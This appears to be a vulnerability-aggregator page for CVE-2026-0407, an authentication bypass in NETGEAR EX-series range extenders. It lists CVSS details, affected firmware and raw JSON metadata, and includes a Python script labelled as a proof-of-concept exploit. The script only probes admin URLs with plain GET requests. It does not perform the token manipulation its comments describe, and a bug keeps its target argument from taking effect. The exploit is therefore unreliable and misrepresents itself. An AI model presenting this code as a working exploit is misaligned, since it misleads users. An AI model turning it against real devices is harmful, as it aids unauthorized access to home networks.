Security Vulnerability Report
中文
CVE-2026-0407 CVSS 8.0 HIGH

CVE-2026-0407

Published: 2026-01-13 16:16:11
Last Modified: 2026-02-20 19:41:00
Source: a2826606-91e7-4eb6-899e-8484bd4575d5

Description

An insufficient authentication vulnerability in NETGEAR WiFi range extenders allows a network adjacent attacker with WiFi authentication or a physical Ethernet port connection to bypass the authentication process and access the admin panel.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:netgear:ex5000_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:netgear:ex5000:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:netgear:ex3110_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:netgear:ex3110:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:netgear:ex6110_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:netgear:ex6110:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:netgear:ex2800_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:netgear:ex2800:-:*:*:*:*:*:*:* - NOT VULNERABLE
NETGEAR EX2800 (固件版本 < 最新安全更新版本)
NETGEAR EX3110 (固件版本 < 最新安全更新版本)
NETGEAR EX5000 (固件版本 < 最新安全更新版本)
NETGEAR EX6110 (固件版本 < 最新安全更新版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-0407 PoC - NETGEAR WiFi Range Extender Authentication Bypass Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys TARGET_IP = "192.168.1.250" # Typical default IP TARGET_URL = f"http://{TARGET_IP}/" def exploit_auth_bypass(): """ Exploit the insufficient authentication vulnerability. The vulnerability allows bypassing authentication by manipulating session tokens. """ # Step 1: Create a session session = requests.Session() # Step 2: Attempt to access admin panel without proper authentication # The vulnerability allows bypassing authentication via specific request manipulation headers = { "User-Agent": "Mozilla/5.0 (compatible; NETGEAR-Extender)", "X-Requested-With": "XMLHttpRequest" } # Try to access admin page directly admin_urls = [ f"{TARGET_URL}index.html", f"{TARGET_URL}admin/", f"{TARGET_URL}main.html" ] for url in admin_urls: try: response = session.get(url, headers=headers, timeout=5) # Check if we can access admin panel if response.status_code == 200 and ("admin" in response.text.lower() or "settings" in response.text.lower()): print(f"[+] Successfully accessed: {url}") print(f"[+] Admin panel accessible - Authentication bypass confirmed") return True except requests.exceptions.RequestException as e: print(f"[-] Connection failed: {e}") print("[-] Exploitation failed - Target may not be vulnerable") return False if __name__ == "__main__": print("CVE-2026-0407 NETGEAR Authentication Bypass PoC") print("Usage: python3 poc.py <target_ip>") if len(sys.argv) > 1: TARGET_IP = sys.argv[1] exploit_auth_bypass()

References

Raw JSON Data

JSON
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"modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NO", "Recovery": "USER", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "type": "Secondary", "description": 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